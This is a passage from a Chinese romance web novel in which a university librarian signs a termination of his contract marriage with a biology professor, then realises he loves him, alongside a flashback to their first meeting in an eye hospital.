李明玉接过纸巾,压抑了一整个早上的情绪终于得以释放,泪水像关不住的水龙头一样流淌了出来。 “我前段时间喜欢上一个小学弟。” “每次从图书馆回宿舍的路上都能遇到他在操场打篮球,他长得很帅嘛,打篮球的技术又好,我就一不小心动了心。” “后来我就托人去问他要微信,倒是也到手了,聊上了天。结果——” “结果我上周天才发现那个微信不是他的!” 李明玉委屈地哭成了一个小泪人。 “谁懂啊,一腔真心全错付了——” 岑康宁听完终于明白发生了什么事,他亦是替玉姐打抱不平:“也就是说,那个渣男故意给你别人的微信号?” “额……这个倒也不是。” 李明玉吸吸鼻子尴尬地说:“单纯就是我朋友找错人了。” 岑康宁:“那就是跟你聊的人骗你?” 李明玉:“也不是……他一开始也不知道我要的是另一个人微信。” 岑康宁:“……” 不能骂渣男他一时竟然不知道该怎么安慰了。 想了又想,岑康宁只好劝玉姐想开点。 “天涯何处无芳草,何必单恋一个弟。” 李明玉:“呜呜,可我就是喜欢这一个。” 岑康宁:“首先,哪一个?篮球场上的那个,还是跟你聊天的这个。” 李明玉沉默了。 岑康宁以为他的安慰终于有了效果,结果下一秒,李明玉认真睁大双眼,道:“我就不能喜欢篮球场学弟的脸,然后喜欢小胡的内心吗?” “小胡?” “跟我聊天的这个。” 纯爱战士1v1坚定爱好者岑康宁立刻说:“那不行,小胡跟篮球学弟只能二选一,现在就选。” 李明玉:“小胡。” 脱口而出以后连李明玉自己也对自己的答案感到震惊,竟然连半秒都没有犹豫吗? 这时嗡地一声。 她的手机震动响起。 岑康宁便见玉姐那张方才还哭得梨花带雨的脸瞬间雨过天晴,又过了一会儿,笑逐颜开的玉姐吸吸鼻子,将刘海儿撩至耳后,笑着问岑康宁: “小岑老师,今天有什么事儿不开心来说给姐姐听听?” 岑康宁:“……” 倒也不必。 李明玉过了会儿解释说:“昨天晚上我们吵架了嘛,我以为他故意骗我,他以为我喜欢别人,闹了一晚上脾气,我以为我们就这么完蛋了。结果没想到刚刚他跟我道歉,说不是故意跟我吵架的,还说晚上要来接我下班,一起吃饭。” 说玩李明玉有些害羞,低头扭捏道:“今晚我们俩第一次正式见面,小岑老师你说我要不要去换身衣服,化个妆?” 岑康宁被迫吃了一大口狗粮,看着李明玉脸上明显有些哭花的妆,诚恳建议:“画一个吧,至少补补。” 李明玉说:“行,那我待会儿就去。” 岑康宁很好奇:“为什么不是现在?” 李明玉手机一扣,语气理所当然:“当然是要先安慰你啊,小岑老师,从中午心神不宁到现在了,愁什么呢?要不说出来,我帮你分析分析。” “这……” 岑康宁有一瞬间的迟疑。 但看着玉姐那张哭花了妆的脸,他终究还是没忍住,临下班前最后一小时开了口。 “我有一个朋友。” “好好好,我懂。” 李明玉听到这句话后瞬间收起嬉皮笑脸,正襟危坐起来,侧耳倾听。 “我这个朋友他最近遇到一个感情上的苦恼。” 岑康宁垂眸,手指不自觉地交叉在一起,轻声说:“他不太确定,自己是不是喜欢上某个人了。” 李明玉一听这不正对自己专业吗? 当即睁大了双眼:“你……不对,你的朋友他有以下几个症状吗?” 岑康宁:“哪几个症状?” “比如,自己发过去的消息,需要立刻得到回复。” 岑康宁想了想:“这倒没有。” 祁教授平时比较忙嘛,他也很理解。 两人之间一两个小时不回消息是常有的事情。 岑康宁也不会说要求祁钊给自己秒回消息,太打扰正常工作节奏,也太任性。 只要祁教授闲下来以后看到消息给自己回复就行了。 岑康宁的要求没那么高。 李明玉又问:“那你这个朋友,会不会经常控制不住地想起这个人?比如说,走在大街上看到一个蛋糕店,就会想起他喜欢吃什么蛋糕这种。” “也没有。” 岑康宁笃定道。 钊哥不喜欢吃外面蛋糕店的蛋糕,所以岑康宁一般路过蛋糕店,想的都是自己喜欢吃什么,才不会想起祁钊。 顶多路过超市的时候。 岑康宁会进去帮他买点儿新鲜水果蔬菜。 但也有要求,必须是有机蔬菜,进口肉类,不能随便乱买。 有机蔬菜里又尤其喜欢西兰苔甜椒。 蛋白质里偏爱澳大利亚牛肉与挪威产三文鱼。 李明玉犯了难:“两个都没有啊,那我感觉喜欢的概率很低了。再问一条吧。” “你问。” “两人近距离靠近的时候,有没有心跳加速的感觉?” “……有。” 沉默了片刻后,岑康宁实话实说。 甚至都不需要近距离。 岑康宁想起昨晚,祁钊从浴室里出来的时候,身上半裹着浴巾。 一瞬间他感觉心脏快要从胸腔里跳出来了。 还有早上,他上班前遇到校园里正在张贴讲座宣传海报,主讲人是祁钊。 那张海报上甚至没有照片。 可岑康宁在路过的时候,还是莫名其妙的心跳加速了一瞬。 当时有两个学生在海报边拍照边议论。 一个说:“祁神的讲座,肯定挤爆了。” 另一个说:“可不,上回讲座里三层外三层围了好多圈,教室外面都是人。” 岑康宁听完觉得有些骄傲,又有些高兴。 但转念一想,他骄傲什么? 别人夸的是祁钊,跟他有什么关系? 岑康宁觉得自己最近好像越来越奇怪了,尤其是想到昨晚两人拍下的照片。 后来他反复地一个人回顾那两张照片。 越看越觉得喜欢。 喜欢到甚至想要拿来当手机屏保的程度。 差一点都要拿来当屏保了,最后及时收手,看着相册里唇角带着迷之微笑的自己,他愕然: 你在做什么,岑康宁? 真跟祁教授谈上恋爱了吗? 回过神来,视线定格在工位上熟悉的保温杯上。 岑康宁这时才后知后觉地发现,原来他今天一整个白天竟然连一杯水都没接。 “你这个朋友不一定喜欢他。” 李明玉下了结论。 岑康宁愣了下,又是对这个结论感到开心,又是觉得隐隐有些失落。 他没有细究那份失落,只是锲而不舍地追问玉姐:“为什么?” “因为心跳加速的原因有很多,很有可能只是短暂的荷尔蒙分泌,也有可能就是当时咖啡因摄入多了。就像当初我对篮球场小学弟,不也心跳加速过吗?” 岑康宁想到安德鲁那篇后来被祁钊反复推翻的论文:“也对,你说的有道理。” “所以别多想啦,小岑老师你的朋友可能只是短暂被皮相所吸引,其实并不是真的喜欢。” “……嗯。” 这样最好不过。 岑康宁盯着仍未收到回信的手机,默默攥紧了掌心。 下班前半小时。 玉姐已经离心似箭。 岑康宁看出她的心急,便让她先走了,玉姐立刻拿起书包迫不及待离开,一边往宿舍的方向走一边给岑康宁说再见。 “拜拜小岑老师,等我成了我请你喝奶茶。” 岑康宁笑着说等你。 殊不知说着要请他喝奶茶的李明玉一出图书馆就瞬间变了表情跟他偷偷说道歉。 “对不起啊小岑老师,为了你跟钊哥的感情,只能说谎了。” 李明玉是前天晚上才知道的原来小嫩草就是岑康宁。 祁老八十大寿的事情在圈内影响很大,除了院长以外很多圈子里有名有姓的专家都去了。 去的人群里自然也不乏年轻人。 毕竟这一行江山代有人才出,像祁钊这样三十岁的杰青预备役虽然不常见,但青椒博后还是常有的。 于是各种八卦消息很快传了出来。 其中最让所有人震惊的就是,原来祁钊结婚了,当天他是带着自己的新婚妻子一起出席寿宴。 李明玉周六晚上跟所有课题组的学生们一起吃瓜到深夜。 没有照片细节,大家对着一些聊天记录也八卦地津津有味。 直到最后有学姐神神秘秘发来内部消息: 【确认了,小师娘人就在P大,土木工程专业。】 【哈?小嫩草?】 【应该是。走的配偶安置吧,不过不知道具体安置在哪里,应该没在生科院。】 【那肯定不在,院办多累啊,是我也不想让我媳妇儿去。】 看着屏幕上的聊天记录李明玉一边吃瓜一边忽然眼前白光一闪。 等等。 不在院办,人在P大,土木工程。 还走的是配偶安置,怎么越听越熟悉? 再联系到前头的聊天记录里说,在场的人一致觉得小师娘人长得非常标志漂亮,跟祁钊站在一起郎才郎貌般配无比。 猛不丢,李明玉就想到一个人来。 而好巧不巧,这人还是土木工程系。 其实有些事不是难猜,最主要的是从没往一起想过。一旦把两件事联系起来,李明玉就立刻发现了许多端倪。 比如说,P大图书馆的门槛近些年这么高。 小岑老师一个土木工程的本科毕业生,甚至年纪还比自己小,到底是怎么进来的? 又比如说,小岑老师平时对她们课题组尤其是钊哥的关注度也未免太多了吧? 虽然平时李明玉就很喜欢说八卦。 可是好像旁人比如说夏老师,就没那么喜欢听她课题组的八卦。 只有小岑老师,每回都听得津津有味不说,还会主动问。 “钊哥今天感冒了?” “祁教授最近发了什么新文章?” “钊哥跟那个孔博士到底有什么渊源?” 李明玉当时不觉得这事儿有什么,毕竟放眼整个P大,不是钊哥粉的人实在没有几个。 对于校园风云人物的八卦也很正常。 可现在一联想—— 卧槽。 我嗑的CP竟然早就是真的! 李明玉一边觉得我去我去快甜死我算了,以后我就是嗑糖最前线,另一边得知真相以后的第一天上班就遭到“我有一个朋友”暴击。 “对不起小岑老师,您还是别喜欢别人了。” “好好喜欢我们钊哥比谁都强!” 李明玉看着图书馆二楼的方向默默地道着歉,随后一溜烟儿跑远。 而图书馆内。 岑康宁也终于煎熬地度过了这一天。 跟下一个来值班的兼职学生交接过后,他便自顾自拿起手机,转身出了图书馆大门,汇入熙熙攘攘的人群里。 周一的五点学校里一向是人群高峰期。 学生们虽然爱翘课,但至少周一会全勤。 这个点儿正是食堂开饭的时候,下课下班的人群汇聚在一起,挤得岑康宁有点儿喘不过气。 本来想在食堂简单吃点儿的,结果人都走到食堂门口了,他身一转,最后出门上了地铁。 最后还是在地铁口那家麦当劳买了穷鬼套餐,外加一个麦麦脆汁鸡。 其实岑康宁现在手头上的钱已经非常宽裕。 八月份工资刚发下来的时候,他就已经还清了所有的助学贷款,无债一身轻。 今天十五号。 又发了九月工资,再加上祁钊昨晚打给他的一百万,财富自由算不上,高低也是个小大款。 奈何吃这个套餐成了习惯。 一杯可乐一个汉堡才十来块钱,就算再加一份脆汁鸡,也不会超过三十块。 三十块钱顶的上他以前两天的伙食费了。 岑康宁一边接过服务员递来的套餐一边想,现在他过得可真是奢侈。 但很稀奇的是这样的奢侈竟然也没有增添他的食欲。 回了家,还不饿,一如既往地先打游戏;打完游戏竟然还不饿,就果断去洗澡,然后看电影。 直到澡也洗完了。 电影也二倍速看了两三部。 茶几上里的麦麦脆汁鸡已经完全变得冰冷油腻,可乐也变成常温,他等的人却依然没有任何回家的迹象。 手机聊天记录空荡荡的一片。 停留在他最后发送过去的一个表情。 把钊哥改成祁教授,再改成大名也无济于事。 后来岑康宁等困了。 忘了是什么时候竟然躺在沙发上就睡着了。 结果醒来的时候是凌晨五点,天还黑着,他躺在床上,而另一个人趴在不远处的书房里,电脑跟打印机都亮着,手边是一叠不久前才打印出来还带着墨香的“新鲜”文件。 岑康宁看到这一幕,愣了一下,起先是下意识地拿起一床毯子,想要给祁钊盖上。 九月中旬的凌晨室温还是有些低。 他怕祁钊感冒。 但紧接着当他靠近祁钊,率先映入眼帘的却是祁钊手边那份文件的文件名。 白纸黑字。 四号加粗宋体。 想看不见都难。 唇角的笑意逐渐僵住,弧度变成一道冰冷的直线。 …… “房子,车子都留给了我,存款也给了我这么多,连比特币跟英伟达的股票都有我的份。” 天已经亮了。 温度还是很低。 岑康宁在祁钊醒后的第一时间就拿起笔,在协议的落款处大大方方签下自己大名。 岑康宁三个大字。 一横一撇他写得格外工整清晰。 当年高考写名字他都没这么认真过。 而签完后他弯起眉眼,就那么看着刚刚醒来,眼睛几乎全是血丝的男人,很轻松地笑了: “签,当然签。” “不过就是有一个问题,忽然这么急着终止上一个协议,祁教授难道是有什么新的结婚人选?” 作者有话说: 下一章就明白心意了![紫心][紫心] 第73章 岑康宁没有哭,只是笑着。 他笑起来的样子其实很好看,眉眼如画,唇红齿白,左侧脸颊小小的梨涡若隐若现。 无论是谁看到他的笑容都会不由得身心舒畅。 生出一种对美好的赞赏,并认为,眼前这个大男孩儿是发自内心的开心。 除了祁钊。 五年前,他曾见过这张笑脸。 …… 那已经是很久远的事情。 但祁钊记忆犹新。 五年前的三月下旬,他刚刚在斯坦福拿到自己的第二个博士学位。 指导他的教授要回国参与一项公益项目,问他要不要参与。祁钊本来决定拒绝,但临时又决定答应。 飞往国内的飞机上他数次后悔。 因为此时他才刚刚知道,这项公益项目的所在单位竟然是父亲开办的医院。 但教授锲而不舍地劝他:“祁,你不是一直都怀疑我们心理学专业是否真正可以帮助到人吗?这次是很好的机会,况且,只有一星期,你父亲不会发现的。” “一星期。” 祁钊看了眼手表,冷淡地说:“够我做十个基因敲除实验。” 教授义愤填膺:“不要拿你们生命科学的实验来同我们相比!” 祁钊则望向飞机窗外近在咫尺的云层。 日落时刻。 云层染上橘金。 想到离开前手机收到的消息,他最终决定:“行。” 后来飞机抵达目的地,教授带着他和其他人赶往医院,小孩儿的哭闹声隔着大老远传了过来。 祁钊这才知道,原来这次义工援助的对象,主要是那些即将失去视力的儿童。 “他们很可怜的,小孩子知道什么?” “小小年纪,要是一出生就看不见就算了,曾经见识过这么美好的世界,却又被残忍剥夺。别说小孩儿接受不了,大人也接受不了。” 护士长如是说,随后给祁钊分配了援助对象。 可惜,饶是祁钊已经非常严格地根据自己所掌握的心理学知识安抚小朋友,小朋友却没有一个感到满意。 “不行,他们好像都觉得你太凶了。” 护士长很无奈:“祁博士,你不能温柔有耐心一点吗?” 祁钊对此指控感到不赞同,眉心轻皱着:“我没有耐心?” 他没有立刻飞回美国。 自以为已经非常有耐心。 护士长想到他昨天给五岁的小孩儿讲的睡前故事是解刨手术,结果把小孩儿吓得哇哇大哭的场景喉头登时一哽。 “算了算了,祁博士,要不您看看这位病人吧。” “哪一位?” 祁钊冷静,却不太抱有期望地问。 提起这位病人,护士长忽然笑了笑:“这个孩子很乖的,从来不哭不闹,而且他受伤也没那么重,非常有可能康复。” “那就不需要我。” 祁钊说。 护士长却摇头:“不,祁博士,这个孩子情况有点儿特别。他年纪倒不算特别小,可是……” “算了,我直接带你去看吧。” 护士长说。 穿过吵闹的幼儿病房区,二人最终来到三层住院部最后一个房间,门虚掩着,病房里住着四个小朋友。 三个小朋友哭闹着。 身边是焦头烂额哄着他们的父母。 一个“小朋友”坐在自己的床上,眼睛上绑着纱布,正很乖地尝试用手摸索着手边的床沿。 护士长见了,连忙上前:“小宁,你是想去厕所吗?” “对。” 被叫做小宁的小孩儿腼腆一笑,说:“我想自己试着去。” “以后这种事叫护士帮你,你现在看不见,摔倒了怎么办?” “护士姐姐在忙。” 岑康宁说。 护士长扶起他,帮他把拖鞋穿好:“没关系,尽管叫我们。” 岑康宁舔舔自己已经干燥起皮的唇,看得出来还是有些不太好意思。 毕竟他已经17岁了。 马上就要成年的年纪,不可能再像五六岁的小孩儿一样,毫无羞耻心。 后来祁钊问护士长:“他的家人呢?” 护士长叹了口气,说:“这就是问题的关键,他没有家人。” 没有家人,眼睛受伤看不见。 难怪护士长说他情况特别。 祁钊问:“需要我做什么?” “他倒是不太需要做心理辅导,您刚刚也看到了,小宁挺阳光积极的,是个很爱笑的男孩子。就是咱们护士站最近人手实在紧缺,刚过完年,因为烟花爆竹的影响多了很多眼睛受伤的小孩儿,有时候就难免顾不上小宁。” “所以祁博士,我有个不情之请,能不能请您在这段时间照顾一下小宁?” “不可以也没问题,看您的意愿。” 护士长和蔼可亲地说。 祁钊别无他选。 首先自然是,其他的小孩儿几乎全部拒绝了他的帮助;其次,他的假期已经请好,定下一周后的机票,接下来的一星期除了义工援助他基本无事可做。 索性援助谁都是援助。 祁钊答应了护士长。 当天下午,他成为了这个男孩儿的护工。 诚如护士长所说,岑康宁实在是一个很懂事的援助对象,他几乎不会主动开口麻烦祁钊,除非必要。 为了减少上厕所的频率。 岑康宁甚至可以忍住,一天只喝半杯水,哪怕嘴唇干到起皮。 他的性格也很好,虽然眼睛受了伤,有永久失明的可能性,但不哭不闹,每回祁钊走进病房,率先见到的一定是一个大大的笑脸。 “哥,你来啦。” “哥,刚刚护士长给了我一个苹果,你要吃吗?” 因为他的缘故,祁钊甚至认为护工也许是一件非常容易完成的事情。 直到某天。 祁钊因为一个很突然的课题组学术会议,耽误了来医院。 他比平时晚了约莫两个小时。 中午十二点吃饭的时间才堪堪赶到。 护士长见到他以后很惊讶:“祁博士,我以为你走了?” “谁说的?” “史密斯教授说的,她说你只做一星期,我还把这事儿告诉了小宁。” 祁钊言简意赅:“不回,我可以再留一星期。” 护士长听完长舒一口气:“那太好了,小宁刚做完手术,正是需要人帮忙的时候。虽然有了您的帮助,给他用上了最好的治疗,但术后一段时间还是需要护理。” 祁钊问:“人呢?” 护士长说:“在休息,状态还行。” 祁钊点点头,先去住院部食堂拿了饭,随后才推开了病房门。 “谁?” 病房里那天恰巧只有岑康宁一个人,因为他刚刚做了手术,需要安静的修养环境。 护士长做主,给其他病人调整了房间。 失明的病人大多听觉敏锐,也因此,祁钊走进门的一刹那,岑康宁骤然从梦中惊醒。 “我。” 祁钊道。 “哥——”岑康宁立刻认出了祁钊的声音,愣了一下后非常惊喜:“你不是……” “没走,再留一星期。” 祁钊说。 岑康宁听完已经腾地一下坐起身体,脸朝向祁钊的方向唇角上扬眉飞色舞:“太好啦!哥,我跟你说我今天早上做手术的时候……” 祁钊盯着他的脸,默默地听着他一如既往跟自己分享一切。 忽然,他开口问:“怕不怕?” 小孩儿哽了一下,说:“不怕,有什么好怕的?” 祁钊又问他:“哭了吗?” 小孩儿得意说:“没哭,柳医生夸我勇敢乐观来着,我做眼睛手术不能哭的,又不是小孩子。” 祁钊没说话了。 小孩儿停顿了一会儿后,又开始笑着跟祁钊分享早上的经历。 他的笑容仿佛在说,一个人参加可能会失明的手术,一个人从麻醉中醒来,根本不是什么大不了的事情。 只是柳医生似乎忘了告诉他,手术后的某种药水是褐色。 被泪水冲刷后,会在脸上留下蜿蜒的浅褐色痕迹。 …… 五年前的那张笑脸逐渐与眼前的笑脸相重合,五年过去了,小朋友长成了大朋友,还是那么活泼爱笑。 这一回他没做手术。 所以脸上也并没有留下什么痕迹。 可时隔五年祁钊再度见到这张相似的笑脸,依然会觉得很痛心。 — 次日网络热帖: 财务自由的感觉是什么样的? 岑康宁一贯对这种问题视而不见,并认为自己这辈子除了中彩票都跟这个问题无缘。 中彩票也不可能。 因为岑康宁这辈子就没买过彩票。 既然都没买,也就谈不上会中。 是以过去刷到这种做梦贴,他都是手指一划,直接刷过去。但今天不太一样,今天他罕见地在这条帖子下停留超过两分钟左右的时间,并在两分钟后尝试回帖: “也许,点外卖不用天天神卷?” 不一会儿这条评论被赞成热评。 数不清的网友给他回复。 “666,大哥阔气!” “谁都不服就服你,敢问在哪里发的财,带我一个行不行?” “这还不够吧,要不你点瑞幸也别领劵?” 岑康宁被网友们逗乐了,他是有钱不是傻子,怎么会有人原价买瑞幸? 但当他放下手机,拿起自己放在茶几上的瑞幸一看—— 很好,傻子竟是我自己,还真没用卷。 没关系。 岑康宁愣了一下后安慰自己。 反正他现在有的是钱,一杯原价瑞幸而已,喝就喝了,他不但今天可以喝,明天也照样可以接着喝。 甚至请人喝。 永远不用卷。 谁让祁钊大手一挥,离婚协议给他留下了那么多花也花不完的钱? 而且房子车子也归他。 也就是说,现在的岑康宁有车有房无债一身轻的情况下,还有花不完的存款基金。 一般人做梦都想不到的好日子,结果岑康宁离了次婚,就轻轻松松得到一切。 这不是财务自由是什么? 岑康宁想,恐怕这世上再也没有任何人比他有资格回答这个问题。 财务自由的感觉真爽啊。 他感慨。 看看他此刻的饭桌。 醉李记的红烧肉,麦当劳的脆汁鸡,舒先生的巧克力蛋糕,都想吃怎么办? 那就通通买回来。 顺路再来一杯原价瑞幸。 再看看他手里的游戏。 648一次的新活动开箱子,同一个工会的朋友开一个都要嚷嚷半天,岑康宁直接开十个。 十个不出,再开十个。 一直开到全出为止,开到所有人都对他目瞪口呆。 而他轻描淡写:“下次活动继续。” 这还只是冰山一面。 假如岑康宁想的话,他完全也可以变卖掉车库里的那辆银灰色的大家伙,买下所有他喜欢的车型。 保时捷,迈巴赫,甚至法拉第。 如果他还想的话,他甚至可以辞掉工作,现在就开始轻松肆意的周游世界。 编制算什么? 编制不就图个稳定。 可都暴富了,谁还要稳定? 所以岑康宁可太开心了。 想买啥买啥。 想上班就上班,想不去就不去。 再也不会因为钱发一丁点的愁,不用买房,现在这套二百平够岑康宁一个人住到世界终结。 不会有协议束缚着他,他现在单身,想跟谁约会就跟谁约会; 也不会有人在周五的晚上缠着他签新协议,两米二的大床以后一个人睡,想横着睡就横着睡,想竖着睡就竖着睡。 不会有人忽然地把胳膊搭上来。 不会凌晨两点忍着困意不睡觉,只等着一句晚安再阖眼。 千言万语化作一句—— 合同结束,他大赚特赚,现在很开心。 本来两人就只是合作关系。 他想要编制。 祁钊想要一段婚姻。 两人各取所需。 如今合同结束,他不仅得到编制,还得到更多,能有什么不满意? 所以当他看完婚姻终止协议的瞬间。 岑康宁的心中就是一个想法:签,绝对要签。 后来他也果然签了,签完以后祁钊非常利落地将合同里规定的所有东西都分批次转给了他。 有些比如房产证过户还需要办手续。 有些立刻就到账了。 岑康宁今天一整天都在不停地感受着银行卡余额的变化,从七个零变到快八个,这辈子都没见过这么多钱。 所以下班以后他很高兴,打了个车回家的同时,还在车上点了四个外卖。 岑康宁决定一边看视频一边慢慢吃。 于是大大咧咧地把外卖摆了一茶几。 也不用担心吃完以后没收拾祁钊见了会皱眉,反正他搬走了,以后再也不回来。 岑康宁终于过上了自己曾经梦寐以求的咸鱼生活。 从今往后他的烦恼应该只剩下该怎么花钱。 他该感到幸福的。 绝不伤心。 红烧肉软糯可口,脆汁鸡外酥里嫩,小黄油拿铁香浓馥郁。 游戏也很很好玩。 成为氪金大佬的感觉真爽。 开箱子拿到的神器让他在任何副本里神挡杀神佛挡杀佛,毫不费力成为曾经梦寐以求的游戏精英。 最后打完游戏再回到宽敞舒适的主卧,洗个澡,躺在十几万的床垫上美美睡一觉,没有祁钊,第二天,太阳照样升起,又会是美好富有的一天。 所以,又为什么睡不着呢? 其实他应该很困了。 从凌晨五点钟到现在,岑康宁一分钟都没休息。 他忙着看合同,签合同,上班,下班,数钱,游戏……大脑已经疲惫到了极限,按理来说是一沾床就能原地昏厥的程度。 但当世界安静下来。 没有食物,没有电影,没有游戏。 他蓦地睁开眼,困意全无。 脑子不受控制地开始闪过一些回忆。 那些回忆有的很让人生气。 比如说,祁钊误会自己跟魏书训关系的那一次,真的很气,气到好几天岑康宁心情都不好。 他那会儿觉得跟祁钊结婚简直就是一个错误。 这世界上怎么会有人如此无理取闹? 有的又让人觉得很安心。 比如说,不久前在路上开车的那一回。 岑康宁拿到驾照以后第一次正式摸车,时隔三年他很多驾驶知识都忘了,他差点就要怀疑自己开不了车。 但祁钊坐在自己隔壁,给了他前所未有的信心。 有的很高兴。 某人送他空气炸锅制冰机,送他苹果手机,又要送他车子。岑康宁嘴上说着不要不要,实际上晚上做梦都在笑。 又有的很紧张。 叫他宝宝的时候,俯过身来亲吻他的时候。 心跳的速度很快。 快到要生出心脏病。 有时候在吃醋,过了一会儿又很甜蜜。 当然大部分的记忆很平平无奇,只是一句睡前简简单单的晚安,或者是微信里顺手回过来的一个1…… 可当这些回忆一股脑地涌现了出来。 很忽然地,岑康宁上扬了一整天的唇角就再也没办法维持地下去。 而等他又打开手机,翻到相册里前天两人拍的合影,随着相片一点一点的放大,唇角弧度便逐渐变得更低。 终于在翻到第二张照片时,贪婪又仔细地端倪着照片里祁钊那个温柔的眼神后,啪嗒—— 他眼睛一眨。 一滴很咸的泪水,就那么猝不及防落在了祁钊的眼睛里。 …… 岑康宁从来不喜欢哭。 因为哭的意义是等着人哄。 不会有人哄的小孩儿哭来有什么用,要多笑,笑起来才讨喜。 岑康宁曾经牢牢地记住大伯临走前的这句话,不管再难过都不哭。 但今天他破了例。 眼泪越来越多,越来越控制不住,到后面一发不可收拾。他浑身颤抖着,哭得眼眶模糊,什么都不想只想给祁钊打电话发微信。 他想告诉钊哥自己今天太倒霉了。 喝咖啡没有领劵。 还想告诉他游戏里有人骂他装,骂的很脏。 又想问老公什么时候下班,其实他后悔了,能不能不离婚,他根本不需要那么多钱。 哭来哭去觉得眼睛好痛。 脑袋也痛。 终于在这种锥心的疼痛中,岑康宁愕然惊觉,原来,他跟祁钊早就不止是想要编制的关系。 他喜欢他。 哭只是想他出现,然后哄哄自己。 作者有话说: [紫糖] 第74章 再次见到祁钊是在那栋新建好生科院大楼里。 那天阳光明媚。 微风拂面。 岑康宁来这里送院里订购的一批期刊,一个人轻松地抱着所有期刊上了十六楼。 结果好巧在课题组里遇到李明玉。 李明玉今天不上班,正在课题组办公室里抓耳挠腮写论文,一抬眼看到岑康宁差点以为自己出现幻觉。 “小岑老师,你怎么来了!” 李明玉睁大了双眼,差些没把手里的咖啡喷出来。 岑康宁笑笑,给她展示自己手里的期刊杂志:“我来送杂志。” “哦哦哦,原来是这样。” 李明玉了然。 课题组通过图书馆定了几个知名期刊,《nature》《science》《cell》什么的,每个月都会有人准时送过来。 不过以前都是兼职学生送。 今天却是岑康宁。 到不奇怪,因为小岑老师绝对是图书馆所有老师里最热爱工作的一位。 但李明玉却一时没想到岑康宁跟自己所在的馆其实是文艺馆,什么送期刊这事儿以前跟他们馆完全不搭边。 她只是看着岑康宁手里的期刊,很殷切地说:“您等着小岑老师,我这就找负责期刊的师兄去。” “行。” 岑康宁道。 “您要不先坐?”李明玉说。 “嗯……”岑康宁感受着投注在自己身上来自课题组成员四面八方的眼神,态度略有迟疑。 哪怕知道学生们没什么恶意,只是好奇。 可莫名地,他就是觉得有些不自在。 “要不——” 他微微一笑,提议:“我去找一下祁教授吧?因为后续有续订相关事宜要跟他确认。” 李明玉听完恍然大悟。 她倒也没告诉岑康宁这事儿以前都是归师兄管的,钊哥一般只负责批钱。 老婆找老公这件事。 哪里轮得到她操心? 她唯独就是懊悔,自己怎么这么笨?!这些年看的言情小说都看到了猫肚子里! “那,要我带您去钊哥办公室吗?” 李明玉问。 岑康宁点点头,旋即在所有人都看不见的地方,偷偷深吸了一口气。 李明玉站起身来,挪开凳子:“这边。” 走出课题组办公室,隔壁的隔壁就是祁钊办公室的所在地。 课题组办公室跟祁钊的自己的办公室在一层。 其实岑康宁也完全知道是哪一间。 他上回去过,还在里面换过衣服。 只是莫名地,他觉得以自己现在的身份忽然出现会有些奇怪,所以才找了个送期刊的由头。 沉甸甸的杂志压在手里,他仿佛多了一分勇气。 勇气充足的同时开场白也有了。 就说—— “祁教授,这个月的杂志在这里,下个月还要不要续订?” 祁钊如果说要,他就点头,把续订需求登记下来;如果说不要,他就问他,发生了什么事,为什么不续订? 一切都想好了。 也在脑海里排练了许多遍。 每一个细节都无比清晰。 可岑康宁想好了一切,却唯独没有想过,再度踏入这间办公室后的第一秒,他就没能控制得了自己。 “为什么不吃东西?”/“宝宝?” 熟悉的称呼像一把钥匙。 开启了岑康宁所有的委屈。 他眼眶刷地一下红了,好不容易才停下来的眼泪,瞬间又有卷土重来的趋势。 但这一次,他狠狠地用指甲掐住掌心,没哭,唯独只是目不转睛地看着眼前的男人。 瘦了。 也憔悴了。 岑康宁一眼就看得出,虽然还是那张英俊到有些惹人生厌的脸,可有些细节就是不对劲。 眼神里没有往日的犀利冷静。 神态透着几分萎靡。 眼眶里布满血丝,一看就是很久没睡觉,而办公桌上放着数个饭盒,除了咖啡一个都没打开。 “喝这么多咖啡?” 岑康宁压抑住心头的酸楚,默默低头数了数咖啡的数量。 很好,达到惊人的九杯。 “你不抽烟,也不喝酒,就用咖啡因麻痹自己是吧?”岑康宁看着那些空瓶子,抱着杂志箱子的手掌微颤,被气笑了。 气祁钊。 也气自己。 气祁钊的是,显然是发生了什么,但他竟然一点儿都没告诉自己。 气自己的是。 祁钊身上这么明显的不对劲。 前天晚上他就应该发现。 可生气之余,就连岑康宁自己也没想到,他其实有点儿开心。 见到祁钊很开心。 见到祁钊过得不好,竟然也开心。 就好像内心深处某个期待被隐秘地满足了。 岑康宁一边感到自己很坏,唾弃自己的同时,一边又忍不住忧心忡忡抬起眼: “到底……” 咚咚咚—— 办公室大门忽然被急促地拍响,猝不及防打断了岑康宁的后半句。 祁钊亦是被吵醒。 他蓦然回过神来,视线却依然落在岑康宁的身上,看也不看大门的方向。 明明只有两天不见,可祁钊却觉得过了很久,好像有一光年。 爱因斯坦的时间相对论。 原来是这样体现。 他也想说些什么。 可咚咚咚—— 办公室大门再度被敲响。 这次与敲门声一同响起的还有门后无数学生异口同声的呼喊。 “钊哥,开门啊——” “到底怎么一回事?为什么我们忽然收到了导师更换通知?” “你不要我们了吗?不要啊,我还没毕业!” 在岑康宁震惊的眼神中,祁钊只能无可奈何打开了门,让所有哭天抢地的学生冲了进来。 …… 这绝对是一个混乱的上午。 岑康宁想。 学生们的哭喊挽留,跟办公室莫名传来的猫咪打架声音混杂在一起,时不时还插着几句隔壁教授夹着洋文的骂街。 以往安静的办公室忽然变成了大杂院。 打了岑康宁一个措手不及。 他准备好的开场白与结束语通通没派上用场,甚至连他自己也忘了来办公室的真正目的,被祁钊决定离职的决定震撼到头脑空白一片。 直到一切结束。 祁钊利落干脆离开。 他方站在原地,在一片哭声中缓缓地回过神来。 很多学生哭了。 玉姐当然也是。 事实上,李明玉哭得比那天以为自己分手还要伤心。 她一边抹着眼泪一边委屈:“呜呜,钊哥你怎么能这么狠心!就算你准备了那么多后续方案,又给我们那么多补偿,可是我们还是只想要你!” 岑康宁心情复杂地看着她哭,给她递上一片纸巾。 李明玉接了。 但忽然,哭得伤心欲绝的玉姐注意到了他箱子里的某个不合时宜的东西,哭声登时戛然而止—— “咦,小岑老师,你这装杂志的箱子里怎么还有玫瑰花啊?杂志社送的吗?” 岑康宁:“……路上捡的。” 他实在没好意思告诉玉姐。 自己第一次追人没经验,好不容易鼓起勇气买了花想告白,结果从头到尾忘了送出去。 — 就在祁钊的课题组一片混乱,仿佛天塌了一般的时候,城市的另一端,刘海俐却是气定神闲。 “八万——” 牌桌上,她动作从容打出一张牌。 紧接着下家立刻笑逐颜开:“唉,胡了!” 刘海俐眉心一锁:“又胡?” 看来今天她这个招财位没选对。 从坐到这里到现在,点了至少八个炮,上家下家对家胡了个遍,就是没轮到她自己。 下家掩面笑得开心:“哎呀,今天多亏了海俐姐,刚停就给我点。” 